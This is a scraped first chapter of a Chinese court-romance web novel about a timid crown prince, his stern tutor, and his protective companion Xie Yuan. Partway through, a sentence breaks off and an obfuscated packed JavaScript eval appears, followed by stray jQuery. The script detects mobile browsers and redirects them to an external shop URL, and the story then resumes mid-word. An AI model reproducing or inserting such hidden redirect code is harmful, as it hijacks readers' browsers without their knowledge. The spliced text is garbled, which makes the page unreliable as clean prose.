文趣网 > 其他小说 > 笨蛋太子揣了权臣的崽 > 1. 第一章
    “今日下学晚了吗?殿下怎么还没回来,已经午时了。”

    长央宫内,为首的掌事嬷嬷一边用银针试着桌上的菜品,一边用手探着碟子温度。

    身旁的宫女回到,“嬷嬷,说是还在听太傅的训。”

    嬷嬷收了手里的银针,眉宇间有些许不悦,“这都第几回了,若是学不会,不吃不喝便能学成了吗?”

    与此同时东宫学堂内一片寂静。

    梁元贞不知何时被太傅叫了起来,他紧张的抓着衣角。

    这几日开春,宫人怕倒春寒没减衣,反倒是给他多穿了好几件,此时小脸上因为太热而飘了一片红云。

    他有些害怕的看着面前的长须老人,一双猫儿般的双眼胡乱的闪躲。

    “太子。”

    太傅终于按捺不住似得,将书卷在案上轻轻一叩,语气沉了下来,“今日的诗文老夫已反复讲过多遍了,殿下仍是茫然不解、答非所问。

    身为储君,不敏不思,昏钝若此,将来如何明辨是非体察民情,又如何治理天下?

    再如此浑浑噩噩、学而不化,老夫便是日日讲、夜夜教,也是对牛弹琴,毫无用处!”

    这话说的重,竟将当朝太子比作畜生,在场的伴读饶是见惯了批评,也心惊一场。

    此话一出,梁元贞脸更红了,活像是一只被吓到的猫,想要把脸躲在自己的毛领里,纤瘦单薄的身形在空气中晃荡了两下。

    他不知如何辩驳,只得小声的喊了声,“先生……”

    太傅看着他不甚机敏的模样,叹了一声,又气又无奈。

    “罢了罢了,今日回去好好温书,明日若是再答不上来,便不要吃午饭了。”

    说着挥手下了学。

    梁元贞恭敬的行了一个礼,目送着老太傅离开。

    直到小内侍上来给他收拾笔墨纸砚,梁元贞才缓过神来,有点委屈似的向后看。

    人群里看不见那道熟悉的身影,一时间失落全写在了脸上,两道黛色的眉低垂着,因丢了脸,脸颊熏得粉红。

    福安瞧着主子的样子,一边收拾一边提醒到,“谢世子今日归家了,国公家中有喜事。”

    东西大致收拾好,福安抱着盒子站在一边,主仆二人,一前一后的走着。

    伴读们纷纷给这位太子行礼,梁元贞刚丢了人,只想藏起来,躲在毛领里面鼓着腮帮子,快快的走了。

    回去的路上,梁元贞扣着手,不是很开心。

    福安跟在人身后说了两个笑话,也没给主子逗出个笑脸来,也只好尴尬的静默着。

    谢渊是在午后回的宫,长央宫的宫人洒扫着远远地瞧见这位世子,恭敬地行礼。

    来人身量极高,身形端凝如同劲松,着玄色劲装,腰束苍带,立于春风间,眉眼冷峭,周身清寒。

    福安在廊下瞌睡,痴痴的流了一脸口水,直到面前有人影掠过才懵然回神。

    等看清是谁时吓得浑身一抖,慌慌张张的作了个揖,“世……世子。”

    长央宫内的当差的内侍没人不怕这位谢世子,虽是名为伴读,可自打入宫以来便与太子同住。

    □□载来,两人情同手足,明眼人都知道这位可是东宫实打实的半个主子。

    在位失职可是要当罚的,前年小太子游船,就因为内侍不注意,让人玩了一会水,回来便高烧多日。

    众人不仅被革职,还各打了十几大板,好不惨烈。

    索性今日谢渊没时间管他,福安看到那人的身影转瞬消失在眼前才放下心来。

    甫一进门,一股暖融的鹅梨熏香扑面而来。

    谢渊收敛了脚步声,提着果匣缓步走向床榻,忽然耳边传来一声异动。

    鹰眸闪过一丝惊觉,很快他便锁定声音来源,朦胧的帷幔之间鼓起小团包,正在不停的乱动着。

    梁元贞被人从被子里剥开时,吓了一大跳。

    他满头青丝垂散,胡乱的披在肩头,皙白的面颊被闷出两团红晕,怀里抱了只幼小的白猫,同样和他似的被吓得缩成一团。

    午睡时身上只穿了一件单薄的亵衣,此时被猫蹭的衣襟散乱,露出一半莹润的肩膀。

    平直的锁骨连着心口上一小片粉白的肌肤,此刻因遇冷而瑟瑟发抖着。

    谢渊皱眉,沉声说道,“醒了?”

    梁元贞还未缓过神来就被一双有力的臂膀钳抱了起来。

    他没有反抗,乖顺的被人抱着,只是今日心中有许多委屈,于是嘟着嘴低头又去看那猫。

    谢渊将人抱在自己的腿面上,身上的人小小一团,此时垂着眼睛,细密的睫毛轻轻眨动。

    居高临下的角度,谢渊轻而易举的看见人脸上的委顿,以及大片晃眼的白。

    他伸手将人敞开的领口拢了拢,将那些露出的肌肤遮掩,“怎么不开心?”

    说完又怕人冷,扯过了身后的薄被,绕着把怀里的人包了起来,将人靠在自己心口。

    只是怀里的人没有回他,仍然低头赌气一般盯着那只猫。

    谢渊捏上人的后颈,略带粗粝手茧的掌摩挲着,黑眸沉沉直直的刺向那只碍眼的小玩意。

    忽的梁元贞手里的猫被一只大手提了出来,扔到床榻之后。

    梁元贞大喊着从薄被里伸出两节藕臂去够那猫,可惜越不过身前的大山。

    谢渊空出一只手来,钳住人的下巴,不容置喙的转向自己。

    “珍珍看我。”

    梁元贞兀的对上那双黑而沉的眼睛,呼吸停了一拍,也不敢叫了,撇着嘴巴,收回手。

    良久,歪斜着靠在人胸膛上,细白的手紧张的揪着人的衣襟。

    见人如此谢渊的手撤了下来,抚上人的后背哄道,“只是出宫半日怎么受了这么大委屈。”

    “气成这样。”

    梁元贞原就在埋怨他,又听人这样说,所有的委屈冲上头来,一双圆钝的眼睛瞬间被泪盈满了。

    很快他便再也忍不住了,闷闷的陈述到,“你今日都没有陪我上课。”

    梁元贞哽咽着,话头很快就被人接了过去,“今日梁太傅又骂你了?”

    梁元贞被人戳破了泡泡,转头把自己彻底埋在人的怀里,身后的奶猫适时叫了一声,也像是受了天大的委

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635154|206542||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    屈。

    谢渊的胸膛震荡,一时间哭笑不得,捏了捏人粉色的耳垂,“出息。”

    耳边传来一阵低笑,梁元贞面颊发烫。

    谢渊摸着人的头发,顺着人的脊背,又拢着人的小腿往自己身上贴了贴。

    梁元贞被人哄了半晌,最后被一盒甜品哄好了,像是偷油吃的老鼠,贪吃的让酥皮糊了满嘴。

    吃的撑了,耍赖般的瘫倒在床上,露出圆滚滚的肚皮,闭着眼睛佯装自己睡去。

    结果不知何时真的入睡了。

    春日里太阳落得慢了许多,梁元贞醒来时肚子上盖着被,不过还是不想起,直到晚饭时皇后宫里来唤,才慢悠悠的爬起来。

    梁元贞被按在镜子前收拾,福安学了嬷嬷的手艺给人绾发。

    一半青丝用金簪挽起,垂散下来的青丝里分出两小撮编成了小辫垂在胸前,余下的垂在身后。

    因是去母后宫里,梁元贞换了一套新衣,一身浅金暗纹圆领的交襟,脖前挂了一副赤金项圈,衬得人面如琢玉,眉目温朗。

    拾掇拾掇就快要落日了,谢渊将人送了过去。

    两人在殿外分开,梁元贞想要人跟着一起进去,谢渊却说他有东西落在东宫了要先回去。

    旁边的嬷嬷在催,梁元贞没顾上,只得暂时分开,临走之前抓住人的手问道,“那来接我吗?”

    夕阳斜打在红墙之上,映在人的脸颊,像是上了一团上好的胭脂。

    这会当着外人的面不宜掐人的脸,谢渊只是摸了摸他的头,“去罢,会来。”

    一再保证之后,人才放心的进去,转身的一瞬间,这位谢世子脸上的笑意褪得一干二净。

    傍晚十分,宫道上行人寥寥。

    谢渊沿着宫道走了一会,不多时有位小内侍沿着墙边跟上他的脚步,声音贴着红墙传来,“都知有请。”

    梁元贞下午吃的多,晚饭时还一点不饿,一个劲靠在母后的身上撒娇,梁帝从勤政殿赶来,陪着母子两人用饭。

    席间像是家常一样闲聊,提到午间梁元贞被太傅留堂责骂的事。

    梁元贞立刻像是被打蔫了一样低下头去,他拨弄着碗里的米饭,脸上火烧起来。

    皇后叹了口气,去摸梁元贞的脸,向着梁帝埋怨,“用饭呢,什么事要现在说。”

    梁帝被发妻嗔怪了一下,不怒反笑,瞧着梁元贞,开口安慰道。

    “梁太傅是三朝元老,他是做老师做惯了,平日里脾气是不好些,珍珍倒也不必放在心上。”

    闻言梁元贞怯怯的从碗里抬起眼来,看向自己的父皇,梁帝笑着看他,满目慈爱。

    梁元贞心里瞬间好受了起来,原本羞臊的小脸降了降温度,低头用筷头戳了戳那白胖的米粒。

    一家人好好地用着晚膳,忽而有内监慌慌张张来报。

    说是西郊大营不知何时走了水,不过好在现已救下了,且发现的及时,并未有大的损失。

    这事说大也不大,可说小,到底是开春后的第一件军事。

    梁帝眉头紧皱,没吃几口放了筷子,复又摆驾回了勤政殿议事。